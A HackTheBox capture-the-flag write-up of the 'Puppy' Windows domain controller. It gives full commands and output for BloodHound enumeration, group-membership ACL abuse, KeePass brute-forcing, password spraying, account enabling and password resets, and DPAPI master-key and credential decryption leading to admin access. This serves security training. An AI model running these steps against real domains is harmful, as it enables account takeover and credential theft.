Puppy - HackTheBox
Puppy - with a key and lock? DPAPI dawg
Puppy is another assumed-breach scenario machine from HackTheBox, where low-privileged levi.james
is given. I use this account to collect BloodHound data and enumerate ACLs. levi.james
is a member of the HR
group, which has GenericWrite over the Developers
group. I abuse this to add myself to Developers
, gaining access to the DEV
share. The DEV
share contains a recovery.kdbx
backup file, which I crack to extract user credentials. Some credentials do not match the desired user, so I enumerate users via LDAP and match correct passwords. Password spraying reveals that credentials for ant.edwards
. ant.edwards
’s has GenericAll
on adam.silver
but account is disabled, I’ll enable it and reset his password.
adam.silver
has access to a site backup, which I analyze to discover the password of steph.cooper
. Privilege escalation involves DPAPI, hinted by the box name Puppy
and the Box Icon. steph.cooper
has a second account steph.cooper_adm
. I find the DPAPI master key and credentials in steph.cooper
’s files, transfer them to my machine, and decrypt the admin credentials.
Recon as levi.james
As is common in real life pentests, you will start the Puppy box with credentials for the following account: levi.james / KingofAkron2025!
As this is a assumed-breached box, I’ll skip the nmap and straight generating hosts file with nxc and collect bloodhound data and load it up in BloodHound-CE Docker.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
➜ Puppy nxc smb 10.10.11.70 --generate-hosts-file hosts
SMB 10.10.11.70 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False) (Null Auth:True)
➜ Puppy cat hosts | sudo tee -a /etc/hosts
[sudo] password for simon:
10.10.11.70 DC.PUPPY.HTB PUPPY.HTB DC
➜ Puppy bloodhound-ce-python -u 'levi.james' -p 'KingofAkron2025!' -c All -d PUPPY.HTB --nameserver 10.10.11.70 --zip
INFO: BloodHound.py for BloodHound Community Edition
INFO: Found AD domain: puppy.htb
INFO: Getting TGT for user
WARNING: Failed to get Kerberos TGT. Falling back to NTLM authentication. Error: Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)
INFO: Connecting to LDAP server: dc.puppy.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: dc.puppy.htb
INFO: Found 10 users
INFO: Found 56 groups
INFO: Found 3 gpos
INFO: Found 3 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: DC.PUPPY.HTB
WARNING: DCE/RPC connection failed: The NETBIOS connection with the remote host timed out.
WARNING: DCE/RPC connection failed: The NETBIOS connection with the remote host timed out.
WARNING: DCE/RPC connection failed: The NETBIOS connection with the remote host timed out.
INFO: Done in 01M 03S
INFO: Compressing output into 20250926155705_bloodhound.zip
There are some warnings which doesn’t really matter.
DEV - SMB
Enumeration
Enumerating the SMB shares I don’t see any that stands out but DEV
which I don’t have access to.
1
2
3
4
5
6
7
8
9
10
11
12
➜ Puppy nxc smb 10.10.11.70 -u levi.james -p 'KingofAkron2025!' --shares
SMB 10.10.11.70 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False) (Null Auth:True)
SMB 10.10.11.70 445 DC [+] PUPPY.HTB\levi.james:KingofAkron2025!
SMB 10.10.11.70 445 DC [*] Enumerated shares
SMB 10.10.11.70 445 DC Share Permissions Remark
SMB 10.10.11.70 445 DC ----- ----------- ------
SMB 10.10.11.70 445 DC ADMIN$ Remote Admin
SMB 10.10.11.70 445 DC C$ Default share
SMB 10.10.11.70 445 DC DEV DEV-SHARE for PUPPY-DEVS
SMB 10.10.11.70 445 DC IPC$ READ Remote IPC
SMB 10.10.11.70 445 DC NETLOGON READ Logon server share
SMB 10.10.11.70 445 DC SYSVOL READ Logon server share
Looking at bloodhound, the outbound controls of levi.james
are interesting. levi.james
is member of HR
and this group has GenericWrite
over Developers
group.
I’ll add myself as levi.james
to this group. I’ll show the both ways of doing it.
Adding levi.james to Developers Group
ldapmodify:
To add levi.james
in Developers
group, there are hand full of tools to do it. Such as Apache Directory Studio
or such other automated tools. But with ldapmodify
it’s as follow.
First I’ll lookup the distinguished name
of the Developers
group which I can do as follow.
1
2
3
4
5
6
7
➜ Puppy ldapsearch -x -H ldap://10.10.11.70 -D "[email protected]" -w 'KingofAkron2025!' -b "DC=PUPPY,DC=HTB" "(cn=DEVELOPERS)" dn
<SNIP>
# DEVELOPERS, PUPPY.HTB
dn: CN=DEVELOPERS,DC=PUPPY,DC=HTB
<SNIP>
Having the distinguished name
of Developers
group, I’ll create a LDIF
file and add levi.james
to Developers
group.
1
2
3
4
5
6
7
8
➜ Puppy cat > levidev.ldif << 'EOF'
dn: CN=DEVELOPERS,DC=PUPPY,DC=HTB
changetype: modify
add: member
member: CN=Levi B. James,OU=MANPOWER,DC=PUPPY,DC=HTB
EOF
➜ Puppy ldapmodify -x -H ldap://10.10.11.70 -D "[email protected]" -w 'KingofAkron2025!' -f levidev.ldif
modifying entry "CN=DEVELOPERS,DC=PUPPY,DC=HTB"
net rpc:
I can do the same with net
from samba-utils
and it doesn’t return any output meaning it levi.james
was added to Developers
group successfully.
1
2
➜ Puppy net rpc group addmem "Developers" "levi.james" -U "PUPPY.HTB"/"levi.james"%'KingofAkron2025!' -S "DC.PUPPY.HTB"
Could not add levi.james to Developers: NT_STATUS_MEMBER_IN_GROUP
bloodyAD:
I can do the same steps with bloodyAD
which is very handy tool and checkout this cheetsheet by ADMinions.
1
2
➜ Puppy bloodyAD --host DC.PUPPY.HTB -d PUPPY.HTB -u levi.james -p 'KingofAkron2025!' add groupMember 'Developers' 'levi.james'
[+] levi.james added to Developers
DEV Share
Being member of Developer
group gave levi.james
READ access to DEV
share.
1
2
3
4
5
6
7
8
9
10
11
12
➜ Puppy nxc smb 10.10.11.70 -u levi.james -p 'KingofAkron2025!' --shares
SMB 10.10.11.70 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False) (Null Auth:True)
SMB 10.10.11.70 445 DC [+] PUPPY.HTB\levi.james:KingofAkron2025!
SMB 10.10.11.70 445 DC [*] Enumerated shares
SMB 10.10.11.70 445 DC Share Permissions Remark
SMB 10.10.11.70 445 DC ----- ----------- ------
SMB 10.10.11.70 445 DC ADMIN$ Remote Admin
SMB 10.10.11.70 445 DC C$ Default share
SMB 10.10.11.70 445 DC DEV READ DEV-SHARE for PUPPY-DEVS
SMB 10.10.11.70 445 DC IPC$ READ Remote IPC
SMB 10.10.11.70 445 DC NETLOGON READ Logon server share
SMB 10.10.11.70 445 DC SYSVOL READ Logon server share
I can quickly check what’s inside the share.
1
2
3
4
5
6
7
8
➜ Puppy smbclient //10.10.11.70/DEV -U levi.james%'KingofAkron2025!' -c "ls"
. DR 0 Fri Sep 26 22:41:12 2025
.. D 0 Sat Mar 8 16:52:57 2025
KeePassXC-2.7.9-Win64.msi A 34394112 Sun Mar 23 07:09:12 2025
Projects D 0 Sat Mar 8 16:53:36 2025
recovery.kdbx A 2677 Wed Mar 12 02:25:46 2025
5080575 blocks of size 4096. 1619614 blocks available
KeePassXC is installed on machine and recovery.kdbx
which I’ll download is interesting while Projects
folder is empty.
1
2
3
4
5
6
7
8
9
➜ Puppy smbclient //10.10.11.70/DEV -U levi.james%'KingofAkron2025!' -c "get recovery.kdbx"
getting file \recovery.kdbx of size 2677 as recovery.kdbx (2.9 KiloBytes/sec) (average 2.9 KiloBytes/sec)
➜ Puppy ls recovery.kdbx
recovery.kdbx
➜ Puppy smbclient //10.10.11.70/DEV -U levi.james%'KingofAkron2025!' -c "cd Projects; ls"
. D 0 Sat Mar 8 16:53:36 2025
.. DR 0 Fri Sep 26 22:41:12 2025
5080575 blocks of size 4096. 1619614 blocks available
It’s password protected as always, I’ll use keepass2john
and crack the hash with john. But keepass2john
gives me an error.
1
2
➜ Puppy keepass2john recovery.kdbx > recovery.hash
! recovery.kdbx : File version '40000' is currently not supported!
While googling around, someone from our team shared this bash script that brute forces the passwords.
I’ll clone it onto my machine and run it. It’s really slow but eventually I get the password.
1
2
3
4
5
6
7
8
➜ Puppy ./keepass4brute/keepass4brute.sh recovery.kdbx /usr/share/wordlists/rockyou.txt
keepass4brute 1.3 by r3nt0n
https://github.com/r3nt0n/keepass4brute
[+] Words tested: 36/14344392 - Attempts per minute: 67 - Estimated time remaining: 21 weeks, 1 days
[+] Current attempt: liverpool
[*] Password found: liverpool
Auth as ant.edwards
To dump the password, I’ll do it this way.
1
2
3
4
5
6
7
8
➜ Puppy echo 'liverpool' | keepassxc-cli export -f csv recovery.kdbx
Enter password to unlock recovery.kdbx:
"Group","Title","Username","Password","URL","Notes","TOTP","Icon","Last Modified","Created"
"Root","JAMIE WILLIAMSON","","JamieLove2025!","puppy.htb","","","0","2025-03-10T08:57:58Z","2025-03-10T08:57:01Z"
"Root","ADAM SILVER","","HJKL2025!","puppy.htb","","","0","2025-03-10T09:01:02Z","2025-03-10T08:58:07Z"
"Root","ANTONY C. EDWARDS","","Antman2025!","puppy.htb","","","0","2025-03-10T09:00:02Z","2025-03-10T08:58:46Z"
"Root","STEVE TUCKER","","Steve2025!","puppy.htb","","","0","2025-03-10T09:03:48Z","2025-03-10T09:01:26Z"
"Root","SAMUEL BLAKE","","ILY2025!","puppy.htb","","","0","2025-03-10T09:03:39Z","2025-03-10T09:02:03Z"
Output is real messy but I can use some GPT KungFu + bash KungFu to print it nicely.
1
2
3
4
5
6
7
8
➜ Puppy echo 'liverpool' | keepassxc-cli export -f csv recovery.kdbx | awk -F',' 'NR>1 {gsub(/"/,"",$2); gsub(/"/,"",$4); print tolower($2) " : " $4}'
Enter password to unlock recovery.kdbx:
jamie williamson : JamieLove2025!
adam silver : HJKL2025!
antony c. edwards : Antman2025!
steve tucker : Steve2025!
samuel blake : ILY2025!
Some GPT + Bash KungFu
I’ll create a users list matching the domain naming convention and a password list from above output.
1
2
➜ Puppy echo 'liverpool' | keepassxc-cli export -f csv recovery.kdbx | awk -F',' 'NR>1 {gsub(/"/,"",$2); name=tolower($2); gsub(/\./,"",name); gsub(" ",".",name); print name}' > users.txt
➜ Puppy echo 'liverpool' | keepassxc-cli export -f csv recovery.kdbx | awk -F',' 'NR>1 {gsub(/"/,"",$2); gsub(/"/,"",$4); print $4}' > pass.txt
I’ll test these with nxc. but none of those would work since those are not usernames but rather Names.
1
2
3
4
5
6
7
8
9
10
➜ Puppy nxc smb 10.10.11.70 -u users.txt -p pass.txt
SMB 10.10.11.70 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False) (Null Auth:True)
SMB 10.10.11.70 445 DC [-] PUPPY.HTB\jamie.williamson:JamieLove2025! STATUS_LOGON_FAILURE
SMB 10.10.11.70 445 DC [-] PUPPY.HTB\adam.silver:JamieLove2025! STATUS_LOGON_FAILURE
SMB 10.10.11.70 445 DC [-] PUPPY.HTB\antony.c.edwards:JamieLove2025! STATUS_LOGON_FAILURE
SMB 10.10.11.70 445 DC [-] PUPPY.HTB\steve.tucker:JamieLove2025! STATUS_LOGON_FAILURE
SMB 10.10.11.70 445 DC [-] PUPPY.HTB\samuel.blake:JamieLove2025! STATUS_LOGON_FAILURE
SMB 10.10.11.70 445 DC [-] PUPPY.HTB\jamie.williamson:HJKL2025! STATUS_LOGON_FAILURE
SMB 10.10.11.70 445 DC [-] PUPPY.HTB\adam.silver:HJKL2025! STATUS_LOGON_FAILURE
<SNIP>
I can quickly grab the actual users with ldapsearch
and test the passwords against valid usernames list.
1
2
3
4
5
6
7
8
9
10
11
12
➜ Puppy ldapsearch -x -H ldap://10.10.11.70 -D 'PUPPY\levi.james' -w 'KingofAkron2025!' -b 'DC=PUPPY,DC=HTB' '(objectClass=user)' sAMAccountName | awk -F': ' '/sAMAccountName:/ {print $2}' > users.txt
➜ Puppy cat users.txt
Administrator
Guest
DC$
krbtgt
levi.james
ant.edwards
adam.silver
jamie.williams
steph.cooper
steph.cooper_adm
The difference is clear, some usernames are not even on the list now. at this point I can guess that which password goes for which user. but I’ll still run nxc to verify the correct and working one.
1
2
➜ Puppy nxc smb 10.10.11.70 -u users.txt -p pass.txt | grep -i "[+]"
SMB 10.10.11.70 445 DC [+] PUPPY.HTB\ant.edwards:Antman2025!
ant.edwards
does not have WinRM access, sadly.
1
2
3
➜ Puppy nxc winrm 10.10.11.70 -u ant.edwards -p 'Antman2025!'
WINRM 10.10.11.70 5985 DC [*] Windows Server 2022 Build 20348 (name:DC) (domain:PUPPY.HTB)
WINRM 10.10.11.70 5985 DC [-] PUPPY.HTB\ant.edwards:Antman2025!
Shell as adam.silver
The outbounds of ant.edwards
user are interesting, similar to what I saw for levi.james
, ant.edwards
is member of Senior Developers
group who has GenericAll
on adam.silver
who is member of Remote Management Users
group meaning I can WinRM as adam.silver
.
but the account of adam.sliver
is disabled.
enabling account
I can enable adam
’s account via bloodyAD
.
bloodyAD
1
2
3
4
5
6
➜ Puppy dc=DC.PUPPY.HTB
➜ Puppy domain=PUPPY.HTB
➜ Puppy username=ant.edwards
➜ Puppy password='Antman2025!'
➜ Puppy bloodyAD -u $username -p $passsword --host $dc -d $domain remove uac adam.silver -f ACCOUNTDISABLE
[-] ['ACCOUNTDISABLE'] property flags removed from adam.silver's userAccountControl
ldapmodify
I can use ldapmodify
to enable the account the other way.
1
2
3
4
5
6
7
8
9
10
11
# Create LDIF to enable account
➜ Puppy cat > enable_adam.ldif << EOF
dn: CN=Adam D. Silver,CN=Users,DC=PUPPY,DC=HTB
changetype: modify
replace: userAccountControl
userAccountControl: 66048
EOF
# Apply the change
➜ Puppy ldapmodify -x -H ldap://10.129.243.152 -D 'PUPPY\ant.edwards' -w 'Antman2025!' -f enable_adam.ldif
modifying entry "CN=Adam D. Silver,CN=Users,DC=PUPPY,DC=HTB"
Password Reset
bloodyAD
1
2
➜ Puppy bloodyAD --host $dc -d $domain -u $username -p $password set password adam.silver 'n3wSk1d@htb'
[+] Password changed successfully!
net rpc
1
➜ Puppy net rpc password "adam.silver" "n3wSk1d@htb" -U "PUPPY.HTB"/"ant.edwards"%'Antman2025!' -S "DC.PUPPY.HTB"
And password is successfully changed.
1
2
3
➜ Puppy nxc winrm DC.PUPPY.HTB -u adam.silver -p 'n3wSk1d@htb'
WINRM 10.10.11.70 5985 DC [*] Windows Server 2022 Build 20348 (name:DC) (domain:PUPPY.HTB)
WINRM 10.10.11.70 5985 DC [+] PUPPY.HTB\adam.silver:n3wSk1d@htb (Pwn3d!)
I can grab the user.txt
.
1
2
3
4
5
6
7
8
9
10
➜ Puppy evil-winrm-py -i DC.PUPPY.HTB -u adam.silver -p 'n3wSk1d@htb'
_ _ _
_____ _(_| |_____ __ _(_)_ _ _ _ _ __ ___ _ __ _ _
/ -_\ V | | |___\ V V | | ' \| '_| ' |___| '_ | || |
\___|\_/|_|_| \_/\_/|_|_||_|_| |_|_|_| | .__/\_, |
|_| |__/ v1.5.0
[*] Connecting to 'DC.PUPPY.HTB:5985' as 'adam.silver'
evil-winrm-py PS C:\Users\adam.silver\Documents> type ..\Desktop\user.txt
32d562c3da3dbe3........
Shell as steph.cooper
Nothing too important in Documents
of adam.silver
.
1
2
3
4
5
6
7
8
9
10
11
12
evil-winrm-py PS C:\Users\adam.silver\Documents> gci -Force
Directory: C:\Users\adam.silver\Documents
Mode LastWriteTime Length Name
---- ------------- ------ ----
d--hsl 2/19/2025 5:01 AM My Music
d--hsl 2/19/2025 5:01 AM My Pictures
d--hsl 2/19/2025 5:01 AM My Videos
-a-hs- 2/28/2025 12:31 PM 402 desktop.ini
Looking for C:\
there is a backup folder.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
evil-winrm-py PS C:\Users\adam.silver\Documents> gci -Force C:\
Directory: C:\
Mode LastWriteTime Length Name
---- ------------- ------ ----
d--hs- 2/28/2025 12:31 PM $Recycle.Bin
d--h-- 5/12/2025 5:29 PM $WinREAgent
d----- 5/9/2025 10:48 AM Backups
d--hsl 2/19/2025 11:32 AM Documents and Settings
d----- 5/12/2025 5:21 PM inetpub
d----- 5/8/2021 1:20 AM PerfLogs
d-r--- 7/24/2025 12:25 PM Program Files
d----- 5/8/2021 2:40 AM Program Files (x86)
d--h-- 5/14/2025 9:53 AM ProgramData
d--hs- 2/19/2025 11:32 AM Recovery
d----- 3/8/2025 9:00 AM StorageReports
d--hs- 3/8/2025 9:00 AM System Volume Information
d----- 9/26/2025 10:10 AM temp
d-r--- 3/8/2025 8:52 AM Users
d----- 9/26/2025 4:55 PM Windows
-a-hs- 9/26/2025 10:08 AM 12288 DumpStack.log.tmp
-a-hs- 9/26/2025 10:08 AM 536870912 pagefile.sys
It contains backup of a site.
1
2
3
4
5
6
7
8
9
evil-winrm-py PS C:\Users\adam.silver\Documents> gci -Force C:\Backups
Directory: C:\Backups
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 3/8/2025 8:22 AM 4639546 site-backup-2024-12-30.zip
I’ll move it to C:\temp
and expand the archive.
1
*Evil-WinRM* PS C:\Users\adam.silver\Documents> Expand-Archive -Path "C:\Backups\site-backup-2024-12-30.zip" -DestinationPath "C:\temp\backup"
I’ll Select-String
(grep on windows) to look for password.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
*Evil-WinRM* PS C:\Users\adam.silver\Documents> Get-ChildItem -Path "C:\temp\backup" -Recurse -File | Select-String -Pattern "password"
C:\temp\backup\puppy\nms-auth-config.xml.bak:8: <bind-password>ChefSteph2025!</bind-password>
C:\temp\backup\puppy\assets\css\main.css:2106: form input[type="password"],
C:\temp\backup\puppy\assets\css\main.css:2118: form input[type="password"]:focus,
C:\temp\backup\puppy\assets\css\main.css:2126: form input[type="password"],
<SNIP>
define&&define.amd&&define("jquery",[],function(){return S});var Vt=C.jQuery,Gt=C.$;return S.noConflict=function(e){return C.$===S&&(C.$=Gt),e&&C.jQuery===S&&(C.jQuery=Vt),S},"undefined"==typeof e&&(C.jQuery=C.$=S),S});
C:\temp\backup\puppy\assets\js\util.js:366: // Password.
C:\temp\backup\puppy\assets\js\util.js:367: $this.find('input[type=password]')
C:\temp\backup\puppy\assets\js\util.js:376: .replace(/type="password"/i, 'type="text"')
C:\temp\backup\puppy\assets\js\util.js:377: .replace(/type=password/i, 'type=text')
C:\temp\backup\puppy\assets\js\util.js:437: $this.find('input[type=text],input[type=password],textarea')
C:\temp\backup\puppy\assets\js\util.js:476: case 'password':
C:\temp\backup\puppy\assets\sass\main.scss:638: input[type="password"],
C:\temp\backup\puppy\assets\sass\main.scss:654: input[type="password"],
I see a password but output is too long. password is in nms-auth-config.xml.bak
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
*Evil-WinRM* PS C:\Users\adam.silver\Documents> type C:\temp\backup\puppy\nms-auth-config.xml.bak
<?xml version="1.0" encoding="UTF-8"?>
<ldap-config>
<server>
<host>DC.PUPPY.HTB</host>
<port>389</port>
<base-dn>dc=PUPPY,dc=HTB</base-dn>
<bind-dn>cn=steph.cooper,dc=puppy,dc=htb</bind-dn>
<bind-password>ChefSteph2025!</bind-password>
</server>
<user-attributes>
<attribute name="username" ldap-attribute="uid" />
<attribute name="firstName" ldap-attribute="givenName" />
<attribute name="lastName" ldap-attribute="sn" />
<attribute name="email" ldap-attribute="mail" />
</user-attributes>
<group-attributes>
<attribute name="groupName" ldap-attribute="cn" />
<attribute name="groupMember" ldap-attribute="member" />
</group-attributes>
<search-filter>
<filter>(&(objectClass=person)(uid=%s))</filter>
</search-filter>
</ldap-config>
Password is for user steph.cooper
: ChefSteph2025!
.
1
2
3
4
5
6
➜ ~ nxc smb DC.PUPPY.HTB -u steph.cooper -p 'ChefSteph2025!'
SMB 10.10.11.70 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False) (Null Auth:True)
SMB 10.10.11.70 445 DC [+] PUPPY.HTB\steph.cooper:ChefSteph2025!
➜ ~ nxc winrm DC.PUPPY.HTB -u steph.cooper -p 'ChefSteph2025!'
WINRM 10.10.11.70 5985 DC [*] Windows Server 2022 Build 20348 (name:DC) (domain:PUPPY.HTB)
WINRM 10.10.11.70 5985 DC [+] PUPPY.HTB\steph.cooper:ChefSteph2025! (Pwn3d!)
Credentials are valid and works over WinRM.
Shell steph.cooper_adm
Enumeration
During the inital enumeration, I noticed that there are two administrator accounts. From which Administrator
is Built-in and steph.cooper_adm
is steph_cooper
’s administrator account. Something similar to Vintage Box and I had to decrypt DPAPI creds.
Box Name and Icon: Box’s name being “PUPPY” and a dog with key and lock? Indeed DPAPI.
DPAPI
Via RunasCs [Fail]
I can check that with cmdkey /l
but it would not work since the Evil-WinRM
session is not intreactive.
1
2
3
4
5
*Evil-WinRM* PS C:\Users\steph.cooper\Documents> cmdkey /l
Currently stored credentials:
* NONE *
However I can try the samething what 0xdf tried on vintage, on Vintage it didn’t work since defender was on. But it never hurts try it out.
But it does not work here either.
1
2
3
4
5
6
7
8
9
10
11
*Evil-WinRM* PS C:\Users\steph.cooper\Documents> .\RunasCs.exe -l 2 -d puppy.htb steph.cooper 'ChefSteph2025!' "cmdkey /l"
[-] RunasCsException: Selected logon type '2' is not granted to the user 'steph.cooper'. Use available logon type '3'.
*Evil-WinRM* PS C:\Users\steph.cooper\Documents> .\RunasCs.exe -l 3 -d puppy.htb steph.cooper 'ChefSteph2025!' "cmdkey /l"
[*] Warning: The function CreateProcessWithLogonW is not compatible with the requested logon type '3'. Reverting to the Interactive logon type '2'. To force a specific logon type, use the flag combination --remote-impersonation and --logon-type.
[-] RunasCsException: Selected logon type '2' is not granted to the user 'steph.cooper'. Use available logon type '3'.
*Evil-WinRM* PS C:\Users\steph.cooper\Documents> .\RunasCs.exe -l 9 -d puppy.htb steph.cooper 'ChefSteph2025!' "cmdkey /l"
Currently stored credentials:
* NONE *
impacket-dpapi
I can look for DPAPI maskter-key and cred blob with this one liner.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
*Evil-WinRM* PS C:\Users\steph.cooper\Documents> $searchDir="C:\Users"; Get-ChildItem $searchDir | % { "========== $($_.Name) - Master Key ========="; @("$searchDir\$($_.Name)\AppData\Roaming\Microsoft\Protect","$searchDir\$($_.Name)\AppData\Local\Microsoft\Protect") | % { Get-ChildItem -Directory -Force $_ -ErrorAction SilentlyContinue | % { $_.FullName; Get-ChildItem -Force $_.FullName -ErrorAction SilentlyContinue | % { $_.FullName } } }; "========== $($_.Name) - Secret ========="; Get-ChildItem -Force "$searchDir\$($_.Name)\AppData\Roaming\Microsoft\Credentials" -ErrorAction SilentlyContinue | % { $_.FullName } }
========== adam.silver - Master Key =========
========== adam.silver - Secret =========
========== Administrator - Master Key =========
========== Administrator - Secret =========
========== ant.edwards - Master Key =========
========== ant.edwards - Secret =========
========== Public - Master Key =========
========== Public - Secret =========
========== steph.cooper - Master Key =========
C:\Users\steph.cooper\AppData\Roaming\Microsoft\Protect\S-1-5-21-1487982659-1829050783-2281216199-1107
C:\Users\steph.cooper\AppData\Roaming\Microsoft\Protect\S-1-5-21-1487982659-1829050783-2281216199-1107\556a2412-1275-4ccf-b721-e6a0b4f90407
C:\Users\steph.cooper\AppData\Roaming\Microsoft\Protect\S-1-5-21-1487982659-1829050783-2281216199-1107\Preferred
========== steph.cooper - Secret =========
C:\Users\steph.cooper\AppData\Roaming\Microsoft\Credentials\C8D69EBE9A43E9DEBF6B5FBD48B521B9
========== steph.cooper_adm - Master Key =========
========== steph.cooper_adm - Secret =========
I’ll download the file via Evil-Winrm but it fails. I’ll convert it to base64 and move it onto my box.
1
2
3
4
5
6
*Evil-WinRM* PS C:\Users\steph.cooper\Documents> download C:\Users\steph.cooper\AppData\Roaming\Microsoft\Protect\S-1-5-21-1487982659-1829050783-2281216199-1107\556a2412-1275-4ccf-b721-e6a0b4f90407
Info: Downloading C:\Users\steph.cooper\Documents\C:Userssteph.cooperAppDataRoamingMicrosoftProtectS-1-5-21-1487982659-1829050783-2281216199-1107556a2412-1275-4ccf-b721-e6a0b4f90407 to C:Userssteph.cooperAppDataRoamingMicrosoftProtectS-1-5-21-1487982659-1829050783-2281216199-1107556a2412-1275-4ccf-b721-e6a0b4f90407
/var/lib/gems/3.1.0/gems/rexml-3.4.4/lib/rexml/xpath.rb:67: warning: REXML::XPath.each, REXML::XPath.first, REXML::XPath.match dropped support for nodeset...
Error: Download failed. Check filenames or paths
Cred file:
1
2
*Evil-WinRM* PS C:\Users\steph.cooper\Documents> [Convert]::ToBase64String([IO.File]::ReadAllBytes("C:\Users\steph.cooper\AppData\Roaming\Microsoft\Credentials\C8D69EBE9A43E9DEBF6B5FBD48B521B9"))
AQAAAJIBAAAAAAAAAQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAEiRqVX<SNIP>waSc
Masterkey file:
1
2
*Evil-WinRM* PS C:\Users\steph.cooper\Documents> [Convert]::ToBase64String([IO.File]::ReadAllBytes("C:\Users\steph.cooper\AppData\Roaming\Microsoft\Protect\S-1-5-21-1487982659-1829050783-2281216199-1107\556a2412-1275-4ccf-b721-e6a0b4f90407"))
AgAAAAAAAAAAAAAANQA1ADYAYQAyADQ<SNIP>ok3SGQoExL3I5Tm2a/F6/oscc9YlciWKEmqQ=
I’ll copy these into each file and decode them.
1
2
3
4
5
6
➜ DPAPI ls
cred.bin.b64 masterkey.bin.b64
➜ DPAPI cat cred.bin.b64 | base64 -d > cred.bin
➜ DPAPI cat masterkey.bin.b64 | base64 -d > masterkey
➜ DPAPI ls
cred.bin cred.bin.b64 masterkey.bin masterkey.bin.b64
Now I can use impacket’s dpapi.py
script to decrypt the Creds. I can grab the SID from bloodhound or from above output of oneliner.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
➜ DPAPI dpapi.py masterkey -file masterkey.bin -password 'ChefSteph2025!' -sid 'S-1-5-21-1487982659-1829050783-2281216199-1107'
Impacket v0.13.0.dev0+20250924.234900.2e518256 - Copyright Fortra, LLC and its affiliated companies
[MASTERKEYFILE]
Version : 2 (2)
Guid : 556a2412-1275-4ccf-b721-e6a0b4f90407
Flags : 0 (0)
Policy : 4ccf1275 (1288639093)
MasterKeyLen: 00000088 (136)
BackupKeyLen: 00000068 (104)
CredHistLen : 00000000 (0)
DomainKeyLen: 00000174 (372)
Decrypted key with User Key (MD4 protected)
Decrypted key: 0xd9a570722fbaf7149f9f9d691b0e137b7413c1414c452f9c77d6d8a8ed9efe3ecae990e047debe4ab8cc879e8ba99b31cdb7abad28408d8d9cbfdcaf319e9c84
With that decrypted masterkey I can now retrieve the credentials in cred.bin.
1
2
3
4
5
6
7
8
9
10
11
12
13
➜ DPAPI dpapi.py credential -file cred.bin -key 0xd9a570722fbaf7149f9f9d691b0e137b7413c1414c452f9c77d6d8a8ed9efe3ecae990e047debe4ab8cc879e8ba99b31cdb7abad28408d8d9cbfdcaf319e9c84
Impacket v0.13.0.dev0+20250924.234900.2e518256 - Copyright Fortra, LLC and its affiliated companies
[CREDENTIAL]
LastWritten : 2025-03-08 15:54:29+00:00
Flags : 0x00000030 (CRED_FLAGS_REQUIRE_CONFIRMATION|CRED_FLAGS_WILDCARD_MATCH)
Persist : 0x00000003 (CRED_PERSIST_ENTERPRISE)
Type : 0x00000002 (CRED_TYPE_DOMAIN_PASSWORD)
Target : Domain:target=PUPPY.HTB
Description :
Unknown :
Username : steph.cooper_adm
Unknown : FivethChipOnItsWay2025!
The creds are valid and works for the steph.cooper_adm
, bloodhound has also marked this user with Diamond. Indeed this user is an administrator account.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
➜ DPAPI nxc winrm DC.PUPPY.HTB -u steph.cooper_adm -p 'FivethChipOnItsWay2025!'
WINRM 10.10.11.70 5985 DC [*] Windows Server 2022 Build 20348 (name:DC) (domain:PUPPY.HTB)
WINRM 10.10.11.70 5985 DC [+] PUPPY.HTB\steph.cooper_adm:FivethChipOnItsWay2025! (Pwn3d!)
➜ DPAPI nxc winrm DC.PUPPY.HTB -u steph.cooper_adm -p 'FivethChipOnItsWay2025!' -x "whoami /priv"
WINRM 10.10.11.70 5985 DC [*] Windows Server 2022 Build 20348 (name:DC) (domain:PUPPY.HTB)
WINRM 10.10.11.70 5985 DC [+] PUPPY.HTB\steph.cooper_adm:FivethChipOnItsWay2025! (Pwn3d!)
WINRM 10.10.11.70 5985 DC [+] Executed command (shell type: cmd)
WINRM 10.10.11.70 5985 DC
WINRM 10.10.11.70 5985 DC PRIVILEGES INFORMATION
WINRM 10.10.11.70 5985 DC ----------------------
WINRM 10.10.11.70 5985 DC
WINRM 10.10.11.70 5985 DC Privilege Name Description State
WINRM 10.10.11.70 5985 DC ========================================= ================================================================== =======
WINRM 10.10.11.70 5985 DC SeIncreaseQuotaPrivilege Adjust memory quotas for a process Enabled
WINRM 10.10.11.70 5985 DC SeMachineAccountPrivilege Add workstations to domain Enabled
WINRM 10.10.11.70 5985 DC SeSecurityPrivilege Manage auditing and security log Enabled
WINRM 10.10.11.70 5985 DC SeTakeOwnershipPrivilege Take ownership of files or other objects Enabled
WINRM 10.10.11.70 5985 DC SeLoadDriverPrivilege Load and unload device drivers Enabled
WINRM 10.10.11.70 5985 DC SeSystemProfilePrivilege Profile system performance Enabled
WINRM 10.10.11.70 5985 DC SeSystemtimePrivilege Change the system time Enabled
WINRM 10.10.11.70 5985 DC SeProfileSingleProcessPrivilege Profile single process Enabled
WINRM 10.10.11.70 5985 DC SeIncreaseBasePriorityPrivilege Increase scheduling priority Enabled
WINRM 10.10.11.70 5985 DC SeCreatePagefilePrivilege Create a pagefile Enabled
